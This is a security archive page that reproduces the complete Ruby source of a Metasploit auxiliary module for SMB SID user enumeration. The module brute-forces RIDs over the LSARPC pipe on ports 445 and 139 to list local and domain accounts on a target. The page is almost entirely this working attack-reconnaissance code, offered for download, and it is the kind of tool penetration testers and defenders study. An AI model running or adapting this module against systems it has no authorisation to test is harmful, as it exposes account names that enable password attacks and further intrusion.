what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SMB SID User Enumeration

SMB SID User Enumeration
Posted Sep 1, 2024
Authored by H D Moore | Site metasploit.com

Determine what users exist via brute force SID lookups. This Metasploit module can enumerate both local and domain accounts by setting ACTION to either LOCAL or DOMAIN.

tags | exploit, local
SHA-256 | 77cbfc30e62e0670d70f18ccb46be372903ba2631287e724023b2cf89f37795a

SMB SID User Enumeration

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary

# Exploit mixins should be called first
include Msf::Exploit::Remote::MsLsad
include Msf::Exploit::Remote::MsLsat
include Msf::Exploit::Remote::DCERPC

# Scanner mixin should be near last
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

include Msf::OptionalSession::SMB

def initialize
super(
'Name' => 'SMB SID User Enumeration (LookupSid)',
'Description' => 'Determine what users exist via brute force SID lookups.
This module can enumerate both local and domain accounts by setting
ACTION to either LOCAL or DOMAIN',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
# Samba doesn't like this option, so we disable so we are compatible with
# both Windows and Samba for enumeration.
'DCERPC::fake_bind_multi' => false
},
'Actions' =>
[
['LOCAL', { 'Description' => 'Enumerate local accounts' } ],
['DOMAIN', { 'Description' => 'Enumerate domain accounts' } ]
],
'DefaultAction' => 'LOCAL',
)

register_options(
[
OptInt.new('MinRID', [ false, "Starting RID to check", 500 ]),
OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ])
]
)
end

def rport
@rport
end

def smb_direct
@smb_direct
end

def connect(*args, **kwargs)
super(*args, **kwargs, direct: @smb_direct)
end

def run_session
smb_services = [{ port: self.simple.peerport, direct: self.simple.direct }]
smb_services.map { |smb_service| run_service(smb_service[:port], smb_service[:direct]) }
end

def run_rhost
if datastore['RPORT'].blank? || datastore['RPORT'] == 0
smb_services = [
{ port: 445, direct: true },
{ port: 139, direct: false }
]
else
smb_services = [
{ port: datastore['RPORT'], direct: datastore['SMBDirect'] }
]
end

smb_services.map { |smb_service| run_service(smb_service[:port], smb_service[:direct]) }
end

def run_service(port, direct)
@rport = port
@smb_direct = direct

ipc_tree = connect_ipc
lsarpc_pipe = connect_lsarpc(ipc_tree)
endpoint = RubySMB::Dcerpc::Lsarpc.freeze
policy_handle = open_policy2(endpoint::SECURITY_IMPERSONATION, endpoint::SECURITY_CONTEXT_CONTINUOUS_UPDATES, endpoint::MAXIMUM_ALLOWED)

account_policy = query_information_policy(policy_handle, endpoint::POLICY_ACCOUNT_DOMAIN_INFORMATION)
primary_policy = query_information_policy(policy_handle, endpoint::POLICY_PRIMARY_DOMAIN_INFORMATION)

info = {
local: {
name: primary_policy[:policy_information][:name].encode('ASCII-8BIT'),
sid: primary_policy[:policy_information][:sid].to_s.encode('ASCII-8BIT')
},
domain: {
name: account_policy[:policy_information][:domain_name].encode('ASCII-8BIT'),
sid: account_policy[:policy_information][:domain_sid].to_s.encode('ASCII-8BIT')
}
}

# Store the domain information
report_note(
:host => self.simple.peerhost,
:proto => 'tcp',
:port => self.simple.peerport,
:type => 'smb.domain.lookupsid',
:data => info[:domain]
)

pipe_info = "PIPE(#{lsarpc_pipe.name})"
local_info = "LOCAL(#{info[:local][:name]} - #{info[:local][:sid]})"
domain_info = "DOMAIN(#{info[:domain][:name]} - #{info[:domain][:sid]})"
all_info = "#{pipe_info} #{local_info} #{domain_info}"
print_status(all_info)

target_sid = case action.name.upcase
when 'LOCAL'
info[:local][:sid] == 'null' ? info[:domain][:sid] : info[:local][:sid]
when 'DOMAIN'
# Fallthrough to the host SID if no domain SID was returned
if info[:domain][:sid] == 'null'
print_error 'No domain SID identified, falling back to the local SID...'
info[:local][:sid]
else
info[:domain][:sid]
end
end

min_rid = datastore['MinRID']
max_rid = datastore['MaxRID']

output = []

# Brute force through a common RID range
min_rid.upto(max_rid) do |rid|
print "%bld%blu[*]%clr Trying RID #{rid} / #{max_rid}\r"
begin
sid = "#{target_sid}-#{rid}"
sids = lookup_sids(policy_handle, sid, endpoint::LSAP_LOOKUP_WKSTA)
sids.each do |sid|
output << [ map_security_principal_to_string(sid[:type]), sid[:name], rid ]
end
rescue RubySMB::Dcerpc::Error::LsarpcError => e
# Ignore unmapped RIDs
unless e.message.match?(/STATUS_NONE_MAPPED/) || e.message.match?(/STATUS_SOME_MAPPED/)
wlog e
end
end
end

output

rescue Msf::Exploit::Remote::SMB::Client::Ipc::SmbIpcAuthenticationError => e
print_warning e.message
nil
rescue ::Timeout::Error
rescue ::Exception => e
print_error("Error: #{e.class} #{e}")
ensure
close_policy(policy_handle)
disconnect_lsarpc
disconnect_ipc(ipc_tree)
end

def format_results(results)
sids_table = Rex::Text::Table.new(
'Indent' => 4,
'Header' => "SMB Lookup SIDs Output",
'Columns' =>
[
'Type',
'Name',
'RID'
],
'SortIndex' => 2, # Sort by RID
)

# Each result contains 0 or more arrays containing: SID Type, Name, RID
results.compact.each do |result_set|
result_set.each { |result| sids_table << result }
end

sids_table
end

# Fingerprint a single host
def run_host(_ip)
if session
self.simple = session.simple_client
results = run_session
else
results = run_rhost
end

results_table = format_results(results)
results_table.rows = results_table.rows.uniq # Remove potentially duplicate entries from port 139 & 445

print_line
print_line results_table.to_s
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    0 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close